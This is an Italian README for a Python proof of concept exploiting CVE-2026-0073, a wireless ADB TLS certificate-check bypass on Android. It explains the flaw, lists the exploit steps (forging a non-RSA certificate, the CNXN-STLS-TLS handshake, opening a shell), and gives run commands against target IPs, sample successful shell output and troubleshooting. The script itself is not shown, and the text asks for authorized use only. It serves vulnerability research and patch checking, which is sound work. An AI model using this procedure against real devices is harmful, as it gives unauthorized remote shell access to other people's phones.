CVE-2026-0073 PoC (Wireless ADB TLS Auth Bypass)

Questa directory contiene una proof of concept in Python per CVE-2026-0073.

Lo script è generato utilizzando tecniche di generazione del codice assistite da intelligenza artificiale.

Riepilogo

CVE-2026-0073 è un problema logico nella verifica dei certificati del daemon ADB (adbd_tls_verify_cert in auth.cpp). Il controllo vulnerabile tratta qualsiasi valore diverso da zero restituito da EVP_PKEY_cmp(...) come una corrispondenza riuscita.

La gestione prevista del risultato del confronto dovrebbe essere:

• 1 = le chiavi corrispondono
• 0 = le chiavi non corrispondono
• valori negativi = errore / confronto non supportato

Nelle build vulnerabili, i valori negativi vengono trattati come veri e possono contrassegnare erroneamente un certificato come autorizzato.

Cosa fa poc-cve-2026-0073.py

Lo script:

1. Crea un certificato client non-RSA (ec o ed25519).
2. Si connette al servizio ADB TCP di destinazione.
3. Esegue il flusso di handshake CNXN -> STLS -> TLS.
4. Autentica tramite il percorso di confronto dei certificati vulnerabile.
5. Apre un servizio di comando (shell: con fallback exec:).
6. Stampa l'output del comando.

Requisiti

• Python 3.10+ (consigliato)
• Pacchetto cryptography
• ADB wireless abilitato sul dispositivo di destinazione
• Raggiungibilità di rete alla porta ADB di destinazione
• Autorizzazione di test per il dispositivo di destinazione

Installa la dipendenza:

pip install cryptography

Utilizzo

Scopri il servizio ADB di destinazione (se necessario):

adb mdns services

Esegui il PoC:

python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]

Argomenti:

• target_ip: Indirizzo IP del dispositivo Android di destinazione
• port: Porta ADB (predefinita: 5555)
• command: Comando da eseguire (predefinito: id)
• key_type: ec o ed25519 (predefinito: ec)
• --verbose: Abilita i log di debug del protocollo

Esempi:

python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519

Output tipico di successo

[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY  arg0=2  data=b''
[+] Stream open (local_id=1, remote_id=2)

[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------

[+] Exploitation successful.

Risoluzione dei problemi

• Connection refused

  • L'ADB wireless potrebbe essere disabilitato.
  • IP/porta di destinazione errati.

• certificate_unknown

  • Il dispositivo è probabilmente patchato per questo problema.
  • Oppure il dispositivo di destinazione non ha uno stato di chiave attendibile idoneo per questo percorso di autenticazione.

• Timeout in attesa di risposte

  • Verifica il percorso di rete e la disponibilità del socket ADB di destinazione.
  • Riprova con --verbose per tracce a livello di pacchetto.

Note sui controlli del livello di patch

Il livello di patch di sicurezza di base del sistema operativo e la patch dei moduli Mainline possono differire. Un dispositivo può mostrare un SPL mensile più vecchio mentre riceve correzioni più recenti del modulo ADB.

Controlli utili:

adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"

Uso responsabile

Utilizza questo PoC solo in ambienti autorizzati (dispositivi di laboratorio di tua proprietà, permesso esplicito o test sanzionati). Non eseguirlo contro sistemi che non possiedi o per i quali non hai autorizzazione scritta per il test.

Riferimenti

• Android Security Bulletin (Maggio 2026)
• Voce NVD per CVE-2026-0073
• Sorgenti ADB AOSP (daemon/auth.cpp)